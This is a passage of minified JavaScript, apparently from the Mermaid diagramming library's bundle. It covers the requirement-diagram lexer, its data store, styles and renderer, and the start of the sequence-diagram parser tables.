this.yy=W||this.yy||{},this._input=xe,this._more=this._backtrack=this.done=!1,this.yylineno=this.yyleng=0,this.yytext=this.matched=this.match="",this.conditionStack=["INITIAL"],this.yylloc={first_line:1,first_column:0,last_line:1,last_column:0},this.options.ranges&&(this.yylloc.range=[0,0]),this.offset=0,this},"setInput"),input:o(function(){var xe=this._input[0];this.yytext+=xe,this.yyleng++,this.offset++,this.match+=xe,this.matched+=xe;var W=xe.match(/(?:\r\n?|\n).*/g);return W?(this.yylineno++,this.yylloc.last_line++):this.yylloc.last_column++,this.options.ranges&&this.yylloc.range[1]++,this._input=this._input.slice(1),xe},"input"),unput:o(function(xe){var W=xe.length,he=xe.split(/(?:\r\n?|\n)/g);this._input=xe+this._input,this.yytext=this.yytext.substr(0,this.yytext.length-W),this.offset-=W;var z=this.match.split(/(?:\r\n?|\n)/g);this.match=this.match.substr(0,this.match.length-1),this.matched=this.matched.substr(0,this.matched.length-1),he.length-1&&(this.yylineno-=he.length-1);var se=this.yylloc.range;return this.yylloc={first_line:this.yylloc.first_line,last_line:this.yylineno+1,first_column:this.yylloc.first_column,last_column:he?(he.length===z.length?this.yylloc.first_column:0)+z[z.length-he.length].length-he[0].length:this.yylloc.first_column-W},this.options.ranges&&(this.yylloc.range=[se[0],se[0]+this.yyleng-W]),this.yyleng=this.yytext.length,this},"unput"),more:o(function(){return this._more=!0,this},"more"),reject:o(function(){if(this.options.backtrack_lexer)this._backtrack=!0;else return this.parseError("Lexical error on line "+(this.yylineno+1)+`. You can only invoke reject() in the lexer when the lexer is of the backtracking persuasion (options.backtrack_lexer = true). +`+this.showPosition(),{text:"",token:null,line:this.yylineno});return this},"reject"),less:o(function(xe){this.unput(this.match.slice(xe))},"less"),pastInput:o(function(){var xe=this.matched.substr(0,this.matched.length-this.match.length);return(xe.length>20?"...":"")+xe.substr(-20).replace(/\n/g,"")},"pastInput"),upcomingInput:o(function(){var xe=this.match;return xe.length<20&&(xe+=this._input.substr(0,20-xe.length)),(xe.substr(0,20)+(xe.length>20?"...":"")).replace(/\n/g,"")},"upcomingInput"),showPosition:o(function(){var xe=this.pastInput(),W=new Array(xe.length+1).join("-");return xe+this.upcomingInput()+` +`+W+"^"},"showPosition"),test_match:o(function(xe,W){var he,z,se;if(this.options.backtrack_lexer&&(se={yylineno:this.yylineno,yylloc:{first_line:this.yylloc.first_line,last_line:this.last_line,first_column:this.yylloc.first_column,last_column:this.yylloc.last_column},yytext:this.yytext,match:this.match,matches:this.matches,matched:this.matched,yyleng:this.yyleng,offset:this.offset,_more:this._more,_input:this._input,yy:this.yy,conditionStack:this.conditionStack.slice(0),done:this.done},this.options.ranges&&(se.yylloc.range=this.yylloc.range.slice(0))),z=xe[0].match(/(?:\r\n?|\n).*/g),z&&(this.yylineno+=z.length),this.yylloc={first_line:this.yylloc.last_line,last_line:this.yylineno+1,first_column:this.yylloc.last_column,last_column:z?z[z.length-1].length-z[z.length-1].match(/\r?\n?/)[0].length:this.yylloc.last_column+xe[0].length},this.yytext+=xe[0],this.match+=xe[0],this.matches=xe,this.yyleng=this.yytext.length,this.options.ranges&&(this.yylloc.range=[this.offset,this.offset+=this.yyleng]),this._more=!1,this._backtrack=!1,this._input=this._input.slice(xe[0].length),this.matched+=xe[0],he=this.performAction.call(this,this.yy,this,W,this.conditionStack[this.conditionStack.length-1]),this.done&&this._input&&(this.done=!1),he)return he;if(this._backtrack){for(var le in se)this[le]=se[le];return!1}return!1},"test_match"),next:o(function(){if(this.done)return this.EOF;this._input||(this.done=!0);var xe,W,he,z;this._more||(this.yytext="",this.match="");for(var se=this._currentRules(),le=0;leW[0].length)){if(W=he,z=le,this.options.backtrack_lexer){if(xe=this.test_match(he,se[le]),xe!==!1)return xe;if(this._backtrack){W=!1;continue}else return!1}else if(!this.options.flex)break}return W?(xe=this.test_match(W,se[z]),xe!==!1?xe:!1):this._input===""?this.EOF:this.parseError("Lexical error on line "+(this.yylineno+1)+`. Unrecognized text. +`+this.showPosition(),{text:"",token:null,line:this.yylineno})},"next"),lex:o(function(){var W=this.next();return W||this.lex()},"lex"),begin:o(function(W){this.conditionStack.push(W)},"begin"),popState:o(function(){var W=this.conditionStack.length-1;return W>0?this.conditionStack.pop():this.conditionStack[0]},"popState"),_currentRules:o(function(){return this.conditionStack.length&&this.conditionStack[this.conditionStack.length-1]?this.conditions[this.conditionStack[this.conditionStack.length-1]].rules:this.conditions.INITIAL.rules},"_currentRules"),topState:o(function(W){return W=this.conditionStack.length-1-Math.abs(W||0),W>=0?this.conditionStack[W]:"INITIAL"},"topState"),pushState:o(function(W){this.begin(W)},"pushState"),stateStackSize:o(function(){return this.conditionStack.length},"stateStackSize"),options:{"case-insensitive":!0},performAction:o(function(W,he,z,se){var le=se;switch(z){case 0:return"title";case 1:return this.begin("acc_title"),9;break;case 2:return this.popState(),"acc_title_value";break;case 3:return this.begin("acc_descr"),11;break;case 4:return this.popState(),"acc_descr_value";break;case 5:this.begin("acc_descr_multiline");break;case 6:this.popState();break;case 7:return"acc_descr_multiline_value";case 8:return 21;case 9:return 22;case 10:return 23;case 11:return 24;case 12:return 5;case 13:break;case 14:break;case 15:break;case 16:return 8;case 17:return 6;case 18:return 27;case 19:return 40;case 20:return 29;case 21:return 32;case 22:return 31;case 23:return 34;case 24:return 36;case 25:return 38;case 26:return 41;case 27:return 42;case 28:return 43;case 29:return 44;case 30:return 45;case 31:return 46;case 32:return 47;case 33:return 48;case 34:return 49;case 35:return 50;case 36:return 51;case 37:return 52;case 38:return 53;case 39:return 54;case 40:return 65;case 41:return 66;case 42:return 67;case 43:return 68;case 44:return 69;case 45:return 70;case 46:return 71;case 47:return 57;case 48:return 59;case 49:return this.begin("style"),77;break;case 50:return 75;case 51:return 81;case 52:return 88;case 53:return"PERCENT";case 54:return 86;case 55:return 84;case 56:break;case 57:this.begin("string");break;case 58:this.popState();break;case 59:return this.begin("style"),72;break;case 60:return this.begin("style"),74;break;case 61:return 61;case 62:return 64;case 63:return 63;case 64:this.begin("string");break;case 65:this.popState();break;case 66:return"qString";case 67:return he.yytext=he.yytext.trim(),89;break;case 68:return 75;case 69:return 80;case 70:return 76}},"anonymous"),rules:[/^(?:title\s[^#\n;]+)/i,/^(?:accTitle\s*:\s*)/i,/^(?:(?!\n||)*[^\n]*)/i,/^(?:accDescr\s*:\s*)/i,/^(?:(?!\n||)*[^\n]*)/i,/^(?:accDescr\s*\{\s*)/i,/^(?:[\}])/i,/^(?:[^\}]*)/i,/^(?:.*direction\s+TB[^\n]*)/i,/^(?:.*direction\s+BT[^\n]*)/i,/^(?:.*direction\s+RL[^\n]*)/i,/^(?:.*direction\s+LR[^\n]*)/i,/^(?:(\r?\n)+)/i,/^(?:\s+)/i,/^(?:#[^\n]*)/i,/^(?:%[^\n]*)/i,/^(?:$)/i,/^(?:requirementDiagram\b)/i,/^(?:\{)/i,/^(?:\})/i,/^(?::{3})/i,/^(?::)/i,/^(?:id\b)/i,/^(?:text\b)/i,/^(?:risk\b)/i,/^(?:verifyMethod\b)/i,/^(?:requirement\b)/i,/^(?:functionalRequirement\b)/i,/^(?:interfaceRequirement\b)/i,/^(?:performanceRequirement\b)/i,/^(?:physicalRequirement\b)/i,/^(?:designConstraint\b)/i,/^(?:low\b)/i,/^(?:medium\b)/i,/^(?:high\b)/i,/^(?:analysis\b)/i,/^(?:demonstration\b)/i,/^(?:inspection\b)/i,/^(?:test\b)/i,/^(?:element\b)/i,/^(?:contains\b)/i,/^(?:copies\b)/i,/^(?:derives\b)/i,/^(?:satisfies\b)/i,/^(?:verifies\b)/i,/^(?:refines\b)/i,/^(?:traces\b)/i,/^(?:type\b)/i,/^(?:docref\b)/i,/^(?:style\b)/i,/^(?:\w+)/i,/^(?::)/i,/^(?:;)/i,/^(?:%)/i,/^(?:-)/i,/^(?:#)/i,/^(?: )/i,/^(?:["])/i,/^(?:\n)/i,/^(?:classDef\b)/i,/^(?:class\b)/i,/^(?:<-)/i,/^(?:->)/i,/^(?:-)/i,/^(?:["])/i,/^(?:["])/i,/^(?:[^"]*)/i,/^(?:[\w][^:,\r\n\{\<\>\-\=]*)/i,/^(?:\w+)/i,/^(?:[0-9]+)/i,/^(?:,)/i],conditions:{acc_descr_multiline:{rules:[6,7,68,69,70],inclusive:!1},acc_descr:{rules:[4,68,69,70],inclusive:!1},acc_title:{rules:[2,68,69,70],inclusive:!1},style:{rules:[50,51,52,53,54,55,56,57,58,68,69,70],inclusive:!1},unqString:{rules:[68,69,70],inclusive:!1},token:{rules:[68,69,70],inclusive:!1},string:{rules:[65,66,68,69,70],inclusive:!1},INITIAL:{rules:[0,1,3,5,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,59,60,61,62,63,64,67,68,69,70],inclusive:!0}}};return fe})();Ne.lexer=Ce;function Fe(){this.yy={}}return o(Fe,"Parser"),Fe.prototype=Ne,Ne.Parser=Fe,new Fe})();QF.parser=QF;kye=QF});var Z6,Sye=N(()=>{"use strict";Xt();pt();ci();Z6=class{constructor(){this.relations=[];this.latestRequirement=this.getInitialRequirement();this.requirements=new Map;this.latestElement=this.getInitialElement();this.elements=new Map;this.classes=new Map;this.direction="TB";this.RequirementType={REQUIREMENT:"Requirement",FUNCTIONAL_REQUIREMENT:"Functional Requirement",INTERFACE_REQUIREMENT:"Interface Requirement",PERFORMANCE_REQUIREMENT:"Performance Requirement",PHYSICAL_REQUIREMENT:"Physical Requirement",DESIGN_CONSTRAINT:"Design Constraint"};this.RiskLevel={LOW_RISK:"Low",MED_RISK:"Medium",HIGH_RISK:"High"};this.VerifyType={VERIFY_ANALYSIS:"Analysis",VERIFY_DEMONSTRATION:"Demonstration",VERIFY_INSPECTION:"Inspection",VERIFY_TEST:"Test"};this.Relationships={CONTAINS:"contains",COPIES:"copies",DERIVES:"derives",SATISFIES:"satisfies",VERIFIES:"verifies",REFINES:"refines",TRACES:"traces"};this.setAccTitle=Rr;this.getAccTitle=Mr;this.setAccDescription=Ir;this.getAccDescription=Or;this.setDiagramTitle=$r;this.getDiagramTitle=Pr;this.getConfig=o(()=>ge().requirement,"getConfig");this.clear(),this.setDirection=this.setDirection.bind(this),this.addRequirement=this.addRequirement.bind(this),this.setNewReqId=this.setNewReqId.bind(this),this.setNewReqRisk=this.setNewReqRisk.bind(this),this.setNewReqText=this.setNewReqText.bind(this),this.setNewReqVerifyMethod=this.setNewReqVerifyMethod.bind(this),this.addElement=this.addElement.bind(this),this.setNewElementType=this.setNewElementType.bind(this),this.setNewElementDocRef=this.setNewElementDocRef.bind(this),this.addRelationship=this.addRelationship.bind(this),this.setCssStyle=this.setCssStyle.bind(this),this.setClass=this.setClass.bind(this),this.defineClass=this.defineClass.bind(this),this.setAccTitle=this.setAccTitle.bind(this),this.setAccDescription=this.setAccDescription.bind(this)}static{o(this,"RequirementDB")}getDirection(){return this.direction}setDirection(e){this.direction=e}resetLatestRequirement(){this.latestRequirement=this.getInitialRequirement()}resetLatestElement(){this.latestElement=this.getInitialElement()}getInitialRequirement(){return{requirementId:"",text:"",risk:"",verifyMethod:"",name:"",type:"",cssStyles:[],classes:["default"]}}getInitialElement(){return{name:"",type:"",docRef:"",cssStyles:[],classes:["default"]}}addRequirement(e,r){return this.requirements.has(e)||this.requirements.set(e,{name:e,type:r,requirementId:this.latestRequirement.requirementId,text:this.latestRequirement.text,risk:this.latestRequirement.risk,verifyMethod:this.latestRequirement.verifyMethod,cssStyles:[],classes:["default"]}),this.resetLatestRequirement(),this.requirements.get(e)}getRequirements(){return this.requirements}setNewReqId(e){this.latestRequirement!==void 0&&(this.latestRequirement.requirementId=e)}setNewReqText(e){this.latestRequirement!==void 0&&(this.latestRequirement.text=e)}setNewReqRisk(e){this.latestRequirement!==void 0&&(this.latestRequirement.risk=e)}setNewReqVerifyMethod(e){this.latestRequirement!==void 0&&(this.latestRequirement.verifyMethod=e)}addElement(e){return this.elements.has(e)||(this.elements.set(e,{name:e,type:this.latestElement.type,docRef:this.latestElement.docRef,cssStyles:[],classes:["default"]}),X.info("Added new element: ",e)),this.resetLatestElement(),this.elements.get(e)}getElements(){return this.elements}setNewElementType(e){this.latestElement!==void 0&&(this.latestElement.type=e)}setNewElementDocRef(e){this.latestElement!==void 0&&(this.latestElement.docRef=e)}addRelationship(e,r,n){this.relations.push({type:e,src:r,dst:n})}getRelationships(){return this.relations}clear(){this.relations=[],this.resetLatestRequirement(),this.requirements=new Map,this.resetLatestElement(),this.elements=new Map,this.classes=new Map,Sr()}setCssStyle(e,r){for(let n of e){let i=this.requirements.get(n)??this.elements.get(n);if(!r||!i)return;for(let a of r)a.includes(",")?i.cssStyles.push(...a.split(",")):i.cssStyles.push(a)}}setClass(e,r){for(let n of e){let i=this.requirements.get(n)??this.elements.get(n);if(i)for(let a of r){i.classes.push(a);let s=this.classes.get(a)?.styles;s&&i.cssStyles.push(...s)}}}defineClass(e,r){for(let n of e){let i=this.classes.get(n);i===void 0&&(i={id:n,styles:[],textStyles:[]},this.classes.set(n,i)),r&&r.forEach(function(a){if(/color/.exec(a)){let s=a.replace("fill","bgFill");i.textStyles.push(s)}i.styles.push(a)}),this.requirements.forEach(a=>{a.classes.includes(n)&&a.cssStyles.push(...r.flatMap(s=>s.split(",")))}),this.elements.forEach(a=>{a.classes.includes(n)&&a.cssStyles.push(...r.flatMap(s=>s.split(",")))})}}getClasses(){return this.classes}getData(){let e=ge(),r=[],n=[];for(let i of this.requirements.values()){let a=i;a.id=i.name,a.cssStyles=i.cssStyles,a.cssClasses=i.classes.join(" "),a.shape="requirementBox",a.look=e.look,r.push(a)}for(let i of this.elements.values()){let a=i;a.shape="requirementBox",a.look=e.look,a.id=i.name,a.cssStyles=i.cssStyles,a.cssClasses=i.classes.join(" "),r.push(a)}for(let i of this.relations){let a=0,s=i.type===this.Relationships.CONTAINS,l={id:`${i.src}-${i.dst}-${a}`,start:this.requirements.get(i.src)?.name??this.elements.get(i.src)?.name,end:this.requirements.get(i.dst)?.name??this.elements.get(i.dst)?.name,label:`<<${i.type}>>`,classes:"relationshipLine",style:["fill:none",s?"":"stroke-dasharray: 10,7"],labelpos:"c",thickness:"normal",type:"normal",pattern:s?"normal":"dashed",arrowTypeStart:s?"requirement_contains":"",arrowTypeEnd:s?"":"requirement_arrow",look:e.look};n.push(l),a++}return{nodes:r,edges:n,other:{},config:e,direction:this.getDirection()}}}});var VZe,Cye,Aye=N(()=>{"use strict";VZe=o(t=>` + + marker { + fill: ${t.relationColor}; + stroke: ${t.relationColor}; + } + + marker.cross { + stroke: ${t.lineColor}; + } + + svg { + font-family: ${t.fontFamily}; + font-size: ${t.fontSize}; + } + + .reqBox { + fill: ${t.requirementBackground}; + fill-opacity: 1.0; + stroke: ${t.requirementBorderColor}; + stroke-width: ${t.requirementBorderSize}; + } + + .reqTitle, .reqLabel{ + fill: ${t.requirementTextColor}; + } + .reqLabelBox { + fill: ${t.relationLabelBackground}; + fill-opacity: 1.0; + } + + .req-title-line { + stroke: ${t.requirementBorderColor}; + stroke-width: ${t.requirementBorderSize}; + } + .relationshipLine { + stroke: ${t.relationColor}; + stroke-width: 1; + } + .relationshipLabel { + fill: ${t.relationLabelColor}; + } + .divider { + stroke: ${t.nodeBorder}; + stroke-width: 1; + } + .label { + font-family: ${t.fontFamily}; + color: ${t.nodeTextColor||t.textColor}; + } + .label text,span { + fill: ${t.nodeTextColor||t.textColor}; + color: ${t.nodeTextColor||t.textColor}; + } + .labelBkg { + background-color: ${t.edgeLabelBackground}; + } + +`,"getStyles"),Cye=VZe});var ZF={};dr(ZF,{draw:()=>UZe});var UZe,_ye=N(()=>{"use strict";Xt();pt();ep();Nf();Mf();tr();UZe=o(async function(t,e,r,n){X.info("REF0:"),X.info("Drawing requirement diagram (unified)",e);let{securityLevel:i,state:a,layout:s}=ge(),l=n.db.getData(),u=Vo(e,i);l.type=n.type,l.layoutAlgorithm=$c(s),l.nodeSpacing=a?.nodeSpacing??50,l.rankSpacing=a?.rankSpacing??50,l.markers=["requirement_contains","requirement_arrow"],l.diagramId=e,await Qo(l,u);let h=8;qt.insertTitle(u,"requirementDiagramTitleText",a?.titleTopMargin??25,n.db.getDiagramTitle()),Ws(u,h,"requirementDiagram",a?.useMaxWidth??!0)},"draw")});var Dye={};dr(Dye,{diagram:()=>HZe});var HZe,Lye=N(()=>{"use strict";Eye();Sye();Aye();_ye();HZe={parser:kye,get db(){return new Z6},renderer:ZF,styles:Cye}});var JF,Mye,Iye=N(()=>{"use strict";JF=(function(){var t=o(function(ee,Z,K,ae){for(K=K||{},ae=ee.length;ae--;K[ee[ae]]=Z);return K},"o"),e=[1,2],r=[1,3],n=[1,4],i=[2,4],a=[1,9],s=[1,11],l=[1,13],u=[1,14],h=[1,16],f=[1,17],d=[1,18],p=[1,24],m=[1,25],g=[1,26],y=[1,27],v=[1,28],x=[1,29],b=[1,30],T=[1,31],S=[1,32],w=[1,33],k=[1,34],A=[1,35],C=[1,36],R=[1,37],I=[1,38],L=[1,39],E=[1,41],D=[1,42],_=[1,43],O=[1,44],M=[1,45],P=[1,46],B=[1,4,5,13,14,16,18,21,23,29,30,31,33,35,36,37,38,39,41,43,44,46,47,48,49,50,52,53,55,60,61,62,63,71],F=[2,71],G=[4,5,16,50,52,53],$=[4,5,13,14,16,18,21,23,29,30,31,33,35,36,37,38,39,41,43,44,46,50,52,53,55,60,61,62,63,71],U=[4,5,13,14,16,18,21,23,29,30,31,33,35,36,37,38,39,41,43,44,46,49,50,52,53,55,60,61,62,63,71],j=[4,5,13,14,16,18,21,23,29,30,31,33,35,36,37,38,39,41,43,44,46,48,50,52,53,55,60,61,62,63,71],te=[4,5,13,14,16,18,21,23,29,30,31,33,35,36,37,38,39,41,43,44,46,47,50,52,53,55,60,61,62,63,71],Y=[69,70,71],oe=[1,127],J={trace:o(function(){},"trace"),yy:{},symbols_:{error:2,start:3,SPACE:4,NEWLINE:5,SD:6,document:7,line:8,statement:9,box_section:10,box_line:11,participant_statement:12,create:13,box:14,restOfLine:15,end:16,signal:17,autonumber:18,NUM:19,off:20,activate:21,actor:22,deactivate:23,note_statement:24,links_statement:25,link_statement:26,properties_statement:27,details_statement:28,title:29,legacy_title:30,acc_title:31,acc_title_value:32,acc_descr:33,acc_descr_value:34,acc_descr_multiline_value:35,loop:36,rect:37,opt:38,alt:39,else_sections:40,par:41,par_sections:42,par_over:43,critical:44,option_sections:45,break:46,option:47,and:48,else:49,participant:50,AS:51,participant_actor:52,destroy:53,actor_with_config:54,note:55,placement:56,text2:57,over:58,actor_pair:59,links:60,link:61,properties:62,details:63,spaceList:64,",":65,left_of:66,right_of:67,signaltype:68,"+":69,"-":70,ACTOR:71,config_object:72,CONFIG_START:73,CONFIG_CONTENT:74,CONFIG_END:75,SOLID_OPEN_ARROW:76,DOTTED_OPEN_ARROW:77,SOLID_ARROW:78,BIDIRECTIONAL_SOLID_ARROW:79,DOTTED_ARROW:80,BIDIRECTIONAL_DOTTED_ARROW:81,SOLID_CROSS:82,DOTTED_CROSS:83,SOLID_POINT:84,DOTTED_POINT:85,TXT:86,$accept:0,$end:1},terminals_:{2:"error",4:"SPACE",5:"NEWLINE",6:"SD",13:"create",14:"box",15:"restOfLine",16:"end",18:"autonumber",19:"NUM",20:"off",21:"activate",23:"deactivate",29:"title",30:"legacy_title",31:"acc_title",32:"acc_title_value",33:"acc_descr",34:"acc_descr_value",35:"acc_descr_multiline_value",36:"loop",37:"rect",38:"opt",39:"alt",41:"par",43:"par_over",44:"critical",46:"break",47:"option",48:"and",49:"else",50:"participant",51:"AS",52:"participant_actor",53:"destroy",55:"note",58:"over",60:"links",61:"link",62:"properties",63:"details",65:",",66:"left_of",67:"right_of",69:"+",70:"-",71:"ACTOR",73:"CONFIG_START",74:"CONFIG_CONTENT",75:"CONFIG_END",76:"SOLID_OPEN_ARROW",77:"DOTTED_OPEN_ARROW",78:"SOLID_ARROW",79:"BIDIRECTIONAL_SOLID_ARROW",80:"DOTTED_ARROW",81:"BIDIRECTIONAL_DOTTED_ARROW",82:"SOLID_CROSS",83:"DOTTED_CROSS",84:"SOLID_POINT",85:"DOTTED_POINT",86:"TXT"},productions_:[0,[3,2],[3,2],[3,2],[7,0],[7,2],[8,2],[8,1],[8,1],[10,0],[10,2],[11,2],[11,1],[11,1],[9,1],[9,2],[9,4],[9,2],[9,4],[9,3],[9,3],[9,2],[9,3],[9,3],[9,2],[9,2],[9,2],[9,2],[9,2],[9,1],[9,1],[9,2],[9,2],[9,1],[9,4],[9,4],[9,4],[9,4],[9,4],[9,4],[9,4],[9,4],[45,1],[45,4],[42,1],[42,4],[40,1],[40,4],[12,5],[12,3],[12,5],[12,3],[12,3],[12,3],[24,4],[24,4],[25,3],[26,3],[27,3],[28,3],[64,2],[64,1],[59,3],[59,1],[56,1],[56,1],[17,5],[17,5],[17,4],[54,2],[72,3],[22,1],[68,1],[68,1],[68,1],[68,1],[68,1],[68,1],[68,1],[68,1],[68,1],[68,1],[57,1]],performAction:o(function(Z,K,ae,Q,de,ne,Te){var q=ne.length-1;switch(de){case 3:return Q.apply(ne[q]),ne[q];break;case 4:case 9:this.$=[];break;case 5:case 10:ne[q-1].push(ne[q]),this.$=ne[q-1];break;case 6:case 7:case 11:case 12:this.$=ne[q];break;case 8:case 13:this.$=[];break;case 15:ne[q].type="createParticipant",this.$=ne[q];break;case 16:ne[q-1].unshift({type:"boxStart",boxData:Q.parseBoxData(ne[q-2])}),ne[q-1].push({type:"boxEnd",boxText:ne[q-2]}),this.$=ne[q-1];break;case 18:this.$={type:"sequenceIndex",sequenceIndex:Number(ne[q-2]),sequenceIndexStep:Number(ne[q-1]),sequenceVisible:!0,signalType:Q.LINETYPE.AUTONUMBER};break;case 19:this.$={type:"sequenceIndex",sequenceIndex:Number(ne[q-1]),sequenceIndexStep:1,sequenceVisible:!0,signalType:Q.LINETYPE.AUTONUMBER};break;case 20:this.$={type:"sequenceIndex",sequenceVisible:!1,signalType:Q.LINETYPE.AUTONUMBER};break;case 21:this.$={type:"sequenceIndex",sequenceVisible:!0,signalType:Q.LINETYPE.AUTONUMBER};break;case 22:this.$={type:"activeStart",signalType:Q.LINETYPE.ACTIVE_START,actor:ne[q-1].actor};break;case 23:this.$={type:"activeEnd",signalType:Q.LINETYPE.ACTIVE_END,actor:ne[q-1].actor};break;case 29:Q.setDiagramTitle(ne[q].substring(6)),this.$=ne[q].substring(6);break;case 30:Q.setDiagramTitle(ne[q].substring(7)),this.$=ne[q].substring(7);break;case 31:this.$=ne[q].trim(),Q.setAccTitle(this.$);break;case 32:case 33:this.$=ne[q].trim(),Q.setAccDescription(this.$);break;case 34:ne[q-1].unshift({type:"loopStart",loopText:Q.parseMessage(ne[q-2]),signalType:Q.LINETYPE.LOOP_START}),ne[q-1].push({type:"loopEnd",loopText:ne[q-2],signalType:Q.LINETYPE.LOOP_END}),this.$=ne[q-1];break;case 35:ne[q-1].unshift({type:"rectStart",color:Q.parseMessage(ne[q-2]),signalType:Q.LINETYPE.RECT_START}),ne[q-1].push({type:"rectEnd",color:Q.parseMessage(ne[q-2]),signalType:Q.LINETYPE.RECT_END}),this.$=ne[q-1];break;case 36:ne[q-1].unshift({type:"optStart",optText:Q.parseMessage(ne[q-2]),signalType:Q.LINETYPE.OPT_START}),ne[q-1].push({type:"optEnd",optText:Q.parseMessage(ne[q-2]),signalType:Q.LINETYPE.OPT_END}),this.$=ne[q-1];break;case 37:ne[q-1].unshift({type:"altStart",altText:Q.parseMessage(ne[q-2]),signalType:Q.LINETYPE.ALT_START}),ne[q-1].push({type:"altEnd",signalType:Q.LINETYPE.ALT_END}),this.$=ne[q-1];break;case 38:ne[q-1].unshift({type:"parStart",parText:Q.parseMessage(ne[q-2]),signalType:Q.LINETYPE.PAR_START}),ne[q-1].push({type:"parEnd",signalType:Q.LINETYPE.PAR_END}),this.$=ne[q-1];break;case 39:ne[q-1].unshift({type:"parStart",parText:Q.parseMessage(ne[q-2]),signalType:Q.LINETYPE.PAR_OVER_START}),ne[q-1].push({type:"parEnd",signalType:Q.LINETYPE.PAR_END}),this.$=ne[q-1];break;case 40:ne[q-1].unshift({type:"criticalStart",criticalText:Q.parseMessage(ne[q-2]),signalType:Q.LINETYPE.CRITICAL_START}),ne[q-1].push({type:"criticalEnd",signalType:Q.LINETYPE.CRITICAL_END}),this.$=ne[q-1];break;case 41:ne[q-1].unshift({type:"breakStart",breakText:Q.parseMessage(ne[q-2]),signalType:Q.LINETYPE.BREAK_START}),ne[q-1].push({type:"breakEnd",optText:Q.parseMessage(ne[q-2]),signalType:Q.LINETYPE.BREAK_END}),this.$=ne[q-1];break;case 43:this.$=ne[q-3].concat([{type:"option",optionText:Q.parseMessage(ne[q-1]),signalType:Q.LINETYPE.CRITICAL_OPTION},ne[q]]);break;case 45:this.$=ne[q-3].concat([{type:"and",parText:Q.parseMessage(ne[q-1]),signalType:Q.LINETYPE.PAR_AND},ne[q]]);break;case 47:this.$=ne[q-3].concat([{type:"else",altText:Q.parseMessage(ne[q-1]),signalType:Q.LINETYPE.ALT_ELSE},ne[q]]);break;case 48:ne[q-3].draw="participant",ne[q-3].type="addParticipant",ne[q-3].description=Q.parseMessage(ne[q-1]),this.$=ne[q-3];break;case 49:ne[q-1].draw="participant",ne[q-1].type="addParticipant",this.$=ne[q-1];break;case 50:ne[q-3].draw="actor",ne[q-3].type="addParticipant",ne[q-3].description=Q.parseMessage(ne[q-1]),this.$=ne[q-3];break;case 51:ne[q-1].draw="actor",ne[q-1].type="addParticipant",this.$=ne[q-1];break;case 52:ne[q-1].type="destroyParticipant",this.$=ne[q-1];break;case 53:ne[q-1].draw="participant",ne[q-1].type="addParticipant",this.$=ne[q-1];break;case 54:this.$=[ne[q-1],{type:"addNote",placement:ne[q-2],actor:ne[q-1].actor,text:ne[q]}];break;case 55:ne[q-2]=[].concat(ne[q-1],ne[q-1]).slice(0,2),ne[q-2][0]=ne[q-2][0].actor,ne[q-2][1]=ne[q-2][1].actor,this.$=[ne[q-1],{type:"addNote",placement:Q.PLACEMENT.OVER,actor:ne[q-2].slice(0,2),text:ne[q]}];break;case 56:this.$=[ne[q-1],{type:"addLinks",actor:ne[q-1].actor,text:ne[q]}];break;case 57:this.$=[ne[q-1],{type:"addALink",actor:ne[q-1].actor,text:ne[q]}];break;case 58:this.$=[ne[q-1],{type:"addProperties",actor:ne[q-1].actor,text:ne[q]}];break;case 59:this.$=[ne[q-1],{type:"addDetails",actor:ne[q-1].actor,text:ne[q]}];break;case 62:this.$=[ne[q-2],ne[q]];break;case 63:this.$=ne[q];break;case 64:this.$=Q.PLACEMENT.LEFTOF;break;case 65:this.$=Q.PLACEMENT.RIGHTOF;break;case 66:this.$=[ne[q-4],ne[q-1],{type:"addMessage",from:ne[q-4].actor,to:ne[q-1].actor,signalType:ne[q-3],msg:ne[q],activate:!0},{type:"activeStart",signalType:Q.LINETYPE.ACTIVE_START,actor:ne[q-1].actor}];break;case 67:this.$=[ne[q-4],ne[q-1],{type:"addMessage",from:ne[q-4].actor,to:ne[q-1].actor,signalType:ne[q-3],msg:ne[q]},{type:"activeEnd",signalType:Q.LINETYPE.ACTIVE_END,actor:ne[q-4].actor}];break;case 68:this.$=[ne[q-3],ne[q-1],{type:"addMessage",from:ne[q-3].actor,to:ne[q-1].actor,signalType:ne[q-2],msg:ne[q]}];break;case 69:this.$={type:"addParticipant",actor:ne[q-1],config:ne[q]};break;case 70:this.$=ne[q-1].trim();break;case 71:this.$={type:"addParticipant",actor:ne[q]};break;case 72:this.$=Q.LINETYPE.SOLID_OPEN;break;case 73:this.$=Q.LINETYPE.DOTTED_OPEN;break;case 74:this.$=Q.LINETYPE.SOLID;break;case 75:this.$=Q.LINETYPE.BIDIRECTIONAL_SOLID;break;case 76:this.$=Q.LINETYPE.DOTTED;break;case 77:this.$=Q.LINETYPE.BIDIRECTIONAL_DOTTED;break;case 78:this.$=Q.LINETYPE.SOLID_CROSS;break;case 79:this.$=Q.LINETYPE.DOTTED_CROSS;break;case 80:this.$=Q.LINETYPE.SOLID_POINT;break;case 81:this.$=Q.LINETYPE.DOTTED_POINT;break;case 82:this.$=Q.parseMessage(ne[q].trim().substring(1));break}},"anonymous"),table:[{3:1,4:e,5:r,6:n},{1:[3]},{3:5,4:e,5:r,6:n},{3:6,4:e,5:r,6:n},t([1,4,5,13,14,18,21,23,29,30,31,33,35,36,37,38,39,41,43,44,46,50,52,53,55,60,61,62,63,71],i,{7:7}),{1:[2,1]},{1:[2,2]},{1:[2,3],4:a,5:s,8:8,9:10,12:12,13:l,14:u,17:15,18:h,21:f,22:40,23:d,24:19,25:20,26:21,27:22,28:23,29:p,30:m,31:g,33:y,35:v,36:x,37:b,38:T,39:S,41:w,43:k,44:A,46:C,50:R,52:I,53:L,55:E,60:D,61:_,62:O,63:M,71:P},t(B,[2,5]),{9:47,12:12,13:l,14:u,17:15,18:h,21:f,22:40,23:d,24:19,25:20,26:21,27:22,28:23,29:p,30:m,31:g,33:y,35:v,36:x,37:b,38:T,39:S,41:w,43:k,44:A,46:C,50:R,52:I,53:L,55:E,60:D,61:_,62:O,63:M,71:P},t(B,[2,7]),t(B,[2,8]),t(B,[2,14]),{12:48,50:R,52:I,53:L},{15:[1,49]},{5:[1,50]},{5:[1,53],19:[1,51],20:[1,52]},{22:54,71:P},{22:55,71:P},{5:[1,56]},{5:[1,57]},{5:[1,58]},{5:[1,59]},{5:[1,60]},t(B,[2,29]),t(B,[2,30]),{32:[1,61]},{34:[1,62]},t(B,[2,33]),{15:[1,63]},{15:[1,64]},{15:[1,65]},{15:[1,66]},{15:[1,67]},{15